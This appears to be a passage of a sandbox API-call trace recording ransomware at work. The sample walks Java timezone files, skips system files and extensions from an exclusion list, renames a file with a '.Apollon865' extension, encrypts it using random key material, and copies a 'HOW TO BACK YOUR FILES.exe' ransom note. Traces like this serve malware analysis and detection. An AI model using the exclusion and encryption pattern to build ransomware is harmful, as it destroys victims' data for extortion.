	[0054.728] lstrcmpiW (lpString1="iev", lpString2="ddl") returned 1
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="dp1") returned 1
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="dqy") returned 1
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="dsk") returned 1
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="dsn") returned 1
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="dxl") returned 1
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="eco") returned 1
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="ecx") returned 1
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="edb") returned 1
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="fcd") returned 1
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="fdb") returned 1
	[0054.728] lstrcmpiW (lpString1="iev", lpString2="fic") returned 1
	[0054.729] lstrcmpiW (lpString1="iev", lpString2="fm5") returned 1
	[0054.729] lstrcmpiW (lpString1="iev", lpString2="fmp") returned 1
	[0054.729] lstrcmpiW (lpString1="iev", lpString2="fol") returned 1
	[0054.729] lstrcmpiW (lpString1="iev", lpString2="fp3") returned 1
	[0054.729] lstrcmpiW (lpString1="iev", lpString2="fp4") returned 1
	[0054.729] lstrcmpiW (lpString1="iev", lpString2="fp5") returned 1
	[0054.729] lstrcmpiW (lpString1="iev", lpString2="fp7") returned 1
	[0054.729] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Lisbon" | out: lpString1="Lisbon") returned="Lisbon"
	[0054.729] lstrlenW (lpString="Lisbon") returned 6
	[0054.729] lstrlenW (lpString="Apollon865") returned 10
	[0054.729] lstrlenW (lpString=".dll") returned 4
	[0054.729] lstrcmpiW (lpString1="Lisbon", lpString2=".dll") returned 1
	[0054.729] lstrlenW (lpString=".lnk") returned 4
	[0054.729] lstrcmpiW (lpString1="Lisbon", lpString2=".lnk") returned 1
	[0054.729] lstrlenW (lpString=".ini") returned 4
	[0054.729] lstrcmpiW (lpString1="Lisbon", lpString2=".ini") returned 1
	[0054.729] lstrlenW (lpString=".sys") returned 4
	[0054.729] lstrcmpiW (lpString1="Lisbon", lpString2=".sys") returned 1
	[0054.729] lstrlenW (lpString="Lisbon") returned 6
	[0054.729] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="London" | out: lpString1="London") returned="London"
	[0054.729] lstrlenW (lpString="London") returned 6
	[0054.729] lstrlenW (lpString="Apollon865") returned 10
	[0054.729] lstrlenW (lpString=".dll") returned 4
	[0054.729] lstrcmpiW (lpString1="London", lpString2=".dll") returned 1
	[0054.729] lstrlenW (lpString=".lnk") returned 4
	[0054.730] lstrcmpiW (lpString1="London", lpString2=".lnk") returned 1
	[0054.730] lstrlenW (lpString=".ini") returned 4
	[0054.730] lstrcmpiW (lpString1="London", lpString2=".ini") returned 1
	[0054.730] lstrlenW (lpString=".sys") returned 4
	[0054.730] lstrcmpiW (lpString1="London", lpString2=".sys") returned 1
	[0054.730] lstrlenW (lpString="London") returned 6
	[0054.730] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Luxembourg" | out: lpString1="Luxembourg") returned="Luxembourg"
	[0054.730] lstrlenW (lpString="Luxembourg") returned 10
	[0054.730] lstrlenW (lpString="Apollon865") returned 10
	[0054.730] lstrlenW (lpString=".dll") returned 4
	[0054.730] lstrcmpiW (lpString1="Luxembourg", lpString2=".dll") returned 1
	[0054.730] lstrlenW (lpString=".lnk") returned 4
	[0054.730] lstrcmpiW (lpString1="Luxembourg", lpString2=".lnk") returned 1
	[0054.730] lstrlenW (lpString=".ini") returned 4
	[0054.730] lstrcmpiW (lpString1="Luxembourg", lpString2=".ini") returned 1
	[0054.730] lstrlenW (lpString=".sys") returned 4
	[0054.730] lstrcmpiW (lpString1="Luxembourg", lpString2=".sys") returned 1
	[0054.730] lstrlenW (lpString="Luxembourg") returned 10
	[0054.730] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Madrid" | out: lpString1="Madrid") returned="Madrid"
	[0054.730] lstrlenW (lpString="Madrid") returned 6
	[0054.730] lstrlenW (lpString="Apollon865") returned 10
	[0054.730] lstrlenW (lpString=".dll") returned 4
	[0054.730] lstrcmpiW (lpString1="Madrid", lpString2=".dll") returned 1
	[0054.730] lstrlenW (lpString=".lnk") returned 4
	[0054.730] lstrcmpiW (lpString1="Madrid", lpString2=".lnk") returned 1
	[0054.730] lstrlenW (lpString=".ini") returned 4
	[0054.730] lstrcmpiW (lpString1="Madrid", lpString2=".ini") returned 1
	[0054.730] lstrlenW (lpString=".sys") returned 4
	[0054.730] lstrcmpiW (lpString1="Madrid", lpString2=".sys") returned 1
	[0054.730] lstrlenW (lpString="Madrid") returned 6
	[0054.731] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Malta" | out: lpString1="Malta") returned="Malta"
	[0054.731] lstrlenW (lpString="Malta") returned 5
	[0054.731] lstrlenW (lpString="Apollon865") returned 10
	[0054.731] lstrlenW (lpString=".dll") returned 4
	[0054.731] lstrcmpiW (lpString1="Malta", lpString2=".dll") returned 1
	[0054.731] lstrlenW (lpString=".lnk") returned 4
	[0054.731] lstrcmpiW (lpString1="Malta", lpString2=".lnk") returned 1
	[0054.731] lstrlenW (lpString=".ini") returned 4
	[0054.731] lstrcmpiW (lpString1="Malta", lpString2=".ini") returned 1
	[0054.731] lstrlenW (lpString=".sys") returned 4
	[0054.731] lstrcmpiW (lpString1="Malta", lpString2=".sys") returned 1
	[0054.731] lstrlenW (lpString="Malta") returned 5
	[0054.731] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Minsk" | out: lpString1="Minsk") returned="Minsk"
	[0054.731] lstrlenW (lpString="Minsk") returned 5
	[0054.731] lstrlenW (lpString="Apollon865") returned 10
	[0054.731] lstrlenW (lpString=".dll") returned 4
	[0054.731] lstrcmpiW (lpString1="Minsk", lpString2=".dll") returned 1
	[0054.731] lstrlenW (lpString=".lnk") returned 4
	[0054.731] lstrcmpiW (lpString1="Minsk", lpString2=".lnk") returned 1
	[0054.731] lstrlenW (lpString=".ini") returned 4
	[0054.731] lstrcmpiW (lpString1="Minsk", lpString2=".ini") returned 1
	[0054.731] lstrlenW (lpString=".sys") returned 4
	[0054.731] lstrcmpiW (lpString1="Minsk", lpString2=".sys") returned 1
	[0054.731] lstrlenW (lpString="Minsk") returned 5
	[0054.731] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Monaco" | out: lpString1="Monaco") returned="Monaco"
	[0054.731] lstrlenW (lpString="Monaco") returned 6
	[0054.731] lstrlenW (lpString="Apollon865") returned 10
	[0054.731] lstrlenW (lpString=".dll") returned 4
	[0054.731] lstrcmpiW (lpString1="Monaco", lpString2=".dll") returned 1
	[0054.732] lstrlenW (lpString=".lnk") returned 4
	[0054.732] lstrcmpiW (lpString1="Monaco", lpString2=".lnk") returned 1
	[0054.732] lstrlenW (lpString=".ini") returned 4
	[0054.732] lstrcmpiW (lpString1="Monaco", lpString2=".ini") returned 1
	[0054.732] lstrlenW (lpString=".sys") returned 4
	[0054.732] lstrcmpiW (lpString1="Monaco", lpString2=".sys") returned 1
	[0054.732] lstrlenW (lpString="Monaco") returned 6
	[0054.732] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Moscow" | out: lpString1="Moscow") returned="Moscow"
	[0054.732] lstrlenW (lpString="Moscow") returned 6
	[0054.732] lstrlenW (lpString="Apollon865") returned 10
	[0054.732] lstrlenW (lpString=".dll") returned 4
	[0054.732] lstrcmpiW (lpString1="Moscow", lpString2=".dll") returned 1
	[0054.732] lstrlenW (lpString=".lnk") returned 4
	[0054.732] lstrcmpiW (lpString1="Moscow", lpString2=".lnk") returned 1
	[0054.732] lstrlenW (lpString=".ini") returned 4
	[0054.732] lstrcmpiW (lpString1="Moscow", lpString2=".ini") returned 1
	[0054.732] lstrlenW (lpString=".sys") returned 4
	[0054.732] lstrcmpiW (lpString1="Moscow", lpString2=".sys") returned 1
	[0054.732] lstrlenW (lpString="Moscow") returned 6
	[0054.732] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Oslo" | out: lpString1="Oslo") returned="Oslo"
	[0054.732] lstrlenW (lpString="Oslo") returned 4
	[0054.732] lstrlenW (lpString="Apollon865") returned 10
	[0054.732] lstrlenW (lpString=".dll") returned 4
	[0054.732] lstrlenW (lpString=".lnk") returned 4
	[0054.732] lstrlenW (lpString=".ini") returned 4
	[0054.732] lstrlenW (lpString=".sys") returned 4
	[0054.732] lstrlenW (lpString="Oslo") returned 4
	[0054.732] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Paris" | out: lpString1="Paris") returned="Paris"
	[0054.732] lstrlenW (lpString="Paris") returned 5
	[0054.732] lstrlenW (lpString="Apollon865") returned 10
	[0054.733] lstrlenW (lpString=".dll") returned 4
	[0054.733] lstrcmpiW (lpString1="Paris", lpString2=".dll") returned 1
	[0054.733] lstrlenW (lpString=".lnk") returned 4
	[0054.733] lstrcmpiW (lpString1="Paris", lpString2=".lnk") returned 1
	[0054.733] lstrlenW (lpString=".ini") returned 4
	[0054.733] lstrcmpiW (lpString1="Paris", lpString2=".ini") returned 1
	[0054.733] lstrlenW (lpString=".sys") returned 4
	[0054.733] lstrcmpiW (lpString1="Paris", lpString2=".sys") returned 1
	[0054.733] lstrlenW (lpString="Paris") returned 5
	[0054.733] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Prague" | out: lpString1="Prague") returned="Prague"
	[0054.733] lstrlenW (lpString="Prague") returned 6
	[0054.733] lstrlenW (lpString="Apollon865") returned 10
	[0054.733] lstrlenW (lpString=".dll") returned 4
	[0054.733] lstrcmpiW (lpString1="Prague", lpString2=".dll") returned 1
	[0054.733] lstrlenW (lpString=".lnk") returned 4
	[0054.733] lstrcmpiW (lpString1="Prague", lpString2=".lnk") returned 1
	[0054.733] lstrlenW (lpString=".ini") returned 4
	[0054.733] lstrcmpiW (lpString1="Prague", lpString2=".ini") returned 1
	[0054.733] lstrlenW (lpString=".sys") returned 4
	[0054.733] lstrcmpiW (lpString1="Prague", lpString2=".sys") returned 1
	[0054.733] lstrlenW (lpString="Prague") returned 6
	[0054.733] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Riga" | out: lpString1="Riga") returned="Riga"
	[0054.733] lstrlenW (lpString="Riga") returned 4
	[0054.733] lstrlenW (lpString="Apollon865") returned 10
	[0054.733] lstrlenW (lpString=".dll") returned 4
	[0054.733] lstrlenW (lpString=".lnk") returned 4
	[0054.733] lstrlenW (lpString=".ini") returned 4
	[0054.733] lstrlenW (lpString=".sys") returned 4
	[0054.733] lstrlenW (lpString="Riga") returned 4
	[0054.733] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Rome" | out: lpString1="Rome") returned="Rome"
	[0054.734] lstrlenW (lpString="Rome") returned 4
	[0054.734] lstrlenW (lpString="Apollon865") returned 10
	[0054.734] lstrlenW (lpString=".dll") returned 4
	[0054.734] lstrlenW (lpString=".lnk") returned 4
	[0054.734] lstrlenW (lpString=".ini") returned 4
	[0054.734] lstrlenW (lpString=".sys") returned 4
	[0054.734] lstrlenW (lpString="Rome") returned 4
	[0054.734] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Samara" | out: lpString1="Samara") returned="Samara"
	[0054.734] lstrlenW (lpString="Samara") returned 6
	[0054.734] lstrlenW (lpString="Apollon865") returned 10
	[0054.734] lstrlenW (lpString=".dll") returned 4
	[0054.734] lstrcmpiW (lpString1="Samara", lpString2=".dll") returned 1
	[0054.734] lstrlenW (lpString=".lnk") returned 4
	[0054.734] lstrcmpiW (lpString1="Samara", lpString2=".lnk") returned 1
	[0054.734] lstrlenW (lpString=".ini") returned 4
	[0054.734] lstrcmpiW (lpString1="Samara", lpString2=".ini") returned 1
	[0054.734] lstrlenW (lpString=".sys") returned 4
	[0054.734] lstrcmpiW (lpString1="Samara", lpString2=".sys") returned 1
	[0054.734] lstrlenW (lpString="Samara") returned 6
	[0054.734] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Simferopol" | out: lpString1="Simferopol") returned="Simferopol"
	[0054.734] lstrlenW (lpString="Simferopol") returned 10
	[0054.734] lstrlenW (lpString="Apollon865") returned 10
	[0054.734] lstrlenW (lpString=".dll") returned 4
	[0054.734] lstrcmpiW (lpString1="Simferopol", lpString2=".dll") returned 1
	[0054.734] lstrlenW (lpString=".lnk") returned 4
	[0054.734] lstrcmpiW (lpString1="Simferopol", lpString2=".lnk") returned 1
	[0054.734] lstrlenW (lpString=".ini") returned 4
	[0054.734] lstrcmpiW (lpString1="Simferopol", lpString2=".ini") returned 1
	[0054.734] lstrlenW (lpString=".sys") returned 4
	[0054.734] lstrcmpiW (lpString1="Simferopol", lpString2=".sys") returned 1
	[0054.735] lstrlenW (lpString="Simferopol") returned 10
	[0054.735] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Sofia" | out: lpString1="Sofia") returned="Sofia"
	[0054.735] lstrlenW (lpString="Sofia") returned 5
	[0054.735] lstrlenW (lpString="Apollon865") returned 10
	[0054.735] lstrlenW (lpString=".dll") returned 4
	[0054.735] lstrcmpiW (lpString1="Sofia", lpString2=".dll") returned 1
	[0054.735] lstrlenW (lpString=".lnk") returned 4
	[0054.735] lstrcmpiW (lpString1="Sofia", lpString2=".lnk") returned 1
	[0054.735] lstrlenW (lpString=".ini") returned 4
	[0054.735] lstrcmpiW (lpString1="Sofia", lpString2=".ini") returned 1
	[0054.735] lstrlenW (lpString=".sys") returned 4
	[0054.735] lstrcmpiW (lpString1="Sofia", lpString2=".sys") returned 1
	[0054.735] lstrlenW (lpString="Sofia") returned 5
	[0054.735] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Stockholm" | out: lpString1="Stockholm") returned="Stockholm"
	[0054.735] lstrlenW (lpString="Stockholm") returned 9
	[0054.735] lstrlenW (lpString="Apollon865") returned 10
	[0054.735] lstrlenW (lpString=".dll") returned 4
	[0054.735] lstrcmpiW (lpString1="Stockholm", lpString2=".dll") returned 1
	[0054.735] lstrlenW (lpString=".lnk") returned 4
	[0054.735] lstrcmpiW (lpString1="Stockholm", lpString2=".lnk") returned 1
	[0054.735] lstrlenW (lpString=".ini") returned 4
	[0054.735] lstrcmpiW (lpString1="Stockholm", lpString2=".ini") returned 1
	[0054.735] lstrlenW (lpString=".sys") returned 4
	[0054.735] lstrcmpiW (lpString1="Stockholm", lpString2=".sys") returned 1
	[0054.735] lstrlenW (lpString="Stockholm") returned 9
	[0054.735] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Tallinn" | out: lpString1="Tallinn") returned="Tallinn"
	[0054.735] lstrlenW (lpString="Tallinn") returned 7
	[0054.735] lstrlenW (lpString="Apollon865") returned 10
	[0054.735] lstrlenW (lpString=".dll") returned 4
	[0054.736] lstrcmpiW (lpString1="Tallinn", lpString2=".dll") returned 1
	[0054.736] lstrlenW (lpString=".lnk") returned 4
	[0054.736] lstrcmpiW (lpString1="Tallinn", lpString2=".lnk") returned 1
	[0054.736] lstrlenW (lpString=".ini") returned 4
	[0054.736] lstrcmpiW (lpString1="Tallinn", lpString2=".ini") returned 1
	[0054.736] lstrlenW (lpString=".sys") returned 4
	[0054.736] lstrcmpiW (lpString1="Tallinn", lpString2=".sys") returned 1
	[0054.736] lstrlenW (lpString="Tallinn") returned 7
	[0054.736] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Tirane" | out: lpString1="Tirane") returned="Tirane"
	[0054.736] lstrlenW (lpString="Tirane") returned 6
	[0054.736] lstrlenW (lpString="Apollon865") returned 10
	[0054.736] lstrlenW (lpString=".dll") returned 4
	[0054.736] lstrcmpiW (lpString1="Tirane", lpString2=".dll") returned 1
	[0054.736] lstrlenW (lpString=".lnk") returned 4
	[0054.736] lstrcmpiW (lpString1="Tirane", lpString2=".lnk") returned 1
	[0054.736] lstrlenW (lpString=".ini") returned 4
	[0054.736] lstrcmpiW (lpString1="Tirane", lpString2=".ini") returned 1
	[0054.736] lstrlenW (lpString=".sys") returned 4
	[0054.736] lstrcmpiW (lpString1="Tirane", lpString2=".sys") returned 1
	[0054.736] lstrlenW (lpString="Tirane") returned 6
	[0054.736] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Uzhgorod" | out: lpString1="Uzhgorod") returned="Uzhgorod"
	[0054.736] lstrlenW (lpString="Uzhgorod") returned 8
	[0054.736] lstrlenW (lpString="Apollon865") returned 10
	[0054.736] lstrlenW (lpString=".dll") returned 4
	[0054.736] lstrcmpiW (lpString1="Uzhgorod", lpString2=".dll") returned 1
	[0054.736] lstrlenW (lpString=".lnk") returned 4
	[0054.736] lstrcmpiW (lpString1="Uzhgorod", lpString2=".lnk") returned 1
	[0054.737] lstrlenW (lpString=".ini") returned 4
	[0054.737] lstrcmpiW (lpString1="Uzhgorod", lpString2=".ini") returned 1
	[0054.737] lstrlenW (lpString=".sys") returned 4
	[0054.737] lstrcmpiW (lpString1="Uzhgorod", lpString2=".sys") returned 1
	[0054.737] lstrlenW (lpString="Uzhgorod") returned 8
	[0054.737] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod.Apollon865") returned 66
	[0054.737] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\uzhgorod"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\uzhgorod.apollon865"), dwFlags=0x1) returned 1
	[0054.740] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\uzhgorod.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.740] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1052) returned 1
	[0054.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0054.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0054.740] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0054.741] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.741] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.742] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x720, lpName=0x0) returned 0x118
	[0054.743] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x720) returned 0x120000
	[0054.761] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf568) returned 1
	[0054.761] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.761] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0054.761] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0054.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0054.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.762] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.762] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0054.762] CloseHandle (hObject=0x118) returned 1
	[0054.762] CloseHandle (hObject=0x150) returned 1
	[0054.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0054.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0054.762] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.763] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vaduz", cAlternateFileName="")) returned 1
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2="Apollon865.txt.exe") returned 1
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2=".") returned 1
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2="..") returned 1
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2="windows") returned -1
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2="bootmgr") returned 1
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2="temp") returned 1
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2="pagefile.sys") returned 1
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2="boot") returned 1
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2="ids.txt") returned 1
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2="ntuser.dat") returned 1
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2="perflogs") returned 1
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2="MSBuild") returned 1
	[0054.763] lstrlenW (lpString="Vaduz") returned 5
	[0054.763] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod") returned 55
	[0054.763] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Vaduz" | out: lpString1="Vaduz") returned="Vaduz"
	[0054.763] lstrlenW (lpString="Vaduz") returned 5
	[0054.763] lstrlenW (lpString="Apollon865") returned 10
	[0054.763] lstrlenW (lpString=".dll") returned 4
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2=".dll") returned 1
	[0054.763] lstrlenW (lpString=".lnk") returned 4
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2=".lnk") returned 1
	[0054.763] lstrlenW (lpString=".ini") returned 4
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2=".ini") returned 1
	[0054.763] lstrlenW (lpString=".sys") returned 4
	[0054.763] lstrcmpiW (lpString1="Vaduz", lpString2=".sys") returned 1
	[0054.763] lstrlenW (lpString="Vaduz") returned 5
	[0054.764] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Vienna" | out: lpString1="Vienna") returned="Vienna"
	[0054.764] lstrlenW (lpString="Vienna") returned 6
	[0054.764] lstrlenW (lpString="Apollon865") returned 10
	[0054.764] lstrlenW (lpString=".dll") returned 4
	[0054.764] lstrcmpiW (lpString1="Vienna", lpString2=".dll") returned 1
	[0054.764] lstrlenW (lpString=".lnk") returned 4
	[0054.764] lstrcmpiW (lpString1="Vienna", lpString2=".lnk") returned 1
	[0054.764] lstrlenW (lpString=".ini") returned 4
	[0054.764] lstrcmpiW (lpString1="Vienna", lpString2=".ini") returned 1
	[0054.764] lstrlenW (lpString=".sys") returned 4
	[0054.764] lstrcmpiW (lpString1="Vienna", lpString2=".sys") returned 1
	[0054.764] lstrlenW (lpString="Vienna") returned 6
	[0054.764] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Vilnius" | out: lpString1="Vilnius") returned="Vilnius"
	[0054.764] lstrlenW (lpString="Vilnius") returned 7
	[0054.764] lstrlenW (lpString="Apollon865") returned 10
	[0054.764] lstrlenW (lpString=".dll") returned 4
	[0054.764] lstrcmpiW (lpString1="Vilnius", lpString2=".dll") returned 1
	[0054.764] lstrlenW (lpString=".lnk") returned 4
	[0054.764] lstrcmpiW (lpString1="Vilnius", lpString2=".lnk") returned 1
	[0054.764] lstrlenW (lpString=".ini") returned 4
	[0054.764] lstrcmpiW (lpString1="Vilnius", lpString2=".ini") returned 1
	[0054.764] lstrlenW (lpString=".sys") returned 4
	[0054.764] lstrcmpiW (lpString1="Vilnius", lpString2=".sys") returned 1
	[0054.764] lstrlenW (lpString="Vilnius") returned 7
	[0054.764] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Volgograd" | out: lpString1="Volgograd") returned="Volgograd"
	[0054.764] lstrlenW (lpString="Volgograd") returned 9
	[0054.764] lstrlenW (lpString="Apollon865") returned 10
	[0054.764] lstrlenW (lpString=".dll") returned 4
	[0054.764] lstrcmpiW (lpString1="Volgograd", lpString2=".dll") returned 1
	[0054.765] lstrlenW (lpString=".lnk") returned 4
	[0054.765] lstrcmpiW (lpString1="Volgograd", lpString2=".lnk") returned 1
	[0054.765] lstrlenW (lpString=".ini") returned 4
	[0054.765] lstrcmpiW (lpString1="Volgograd", lpString2=".ini") returned 1
	[0054.765] lstrlenW (lpString=".sys") returned 4
	[0054.765] lstrcmpiW (lpString1="Volgograd", lpString2=".sys") returned 1
	[0054.765] lstrlenW (lpString="Volgograd") returned 9
	[0054.765] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Warsaw" | out: lpString1="Warsaw") returned="Warsaw"
	[0054.765] lstrlenW (lpString="Warsaw") returned 6
	[0054.765] lstrlenW (lpString="Apollon865") returned 10
	[0054.765] lstrlenW (lpString=".dll") returned 4
	[0054.765] lstrcmpiW (lpString1="Warsaw", lpString2=".dll") returned 1
	[0054.765] lstrlenW (lpString=".lnk") returned 4
	[0054.765] lstrcmpiW (lpString1="Warsaw", lpString2=".lnk") returned 1
	[0054.765] lstrlenW (lpString=".ini") returned 4
	[0054.765] lstrcmpiW (lpString1="Warsaw", lpString2=".ini") returned 1
	[0054.765] lstrlenW (lpString=".sys") returned 4
	[0054.765] lstrcmpiW (lpString1="Warsaw", lpString2=".sys") returned 1
	[0054.765] lstrlenW (lpString="Warsaw") returned 6
	[0054.765] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc"
	[0054.765] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x598768 | out: hHeap=0x580000) returned 1
	[0054.765] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0054.765] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned 43
	[0054.765] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: lpString1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc"
	[0054.765] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0054.766] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0054.794] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
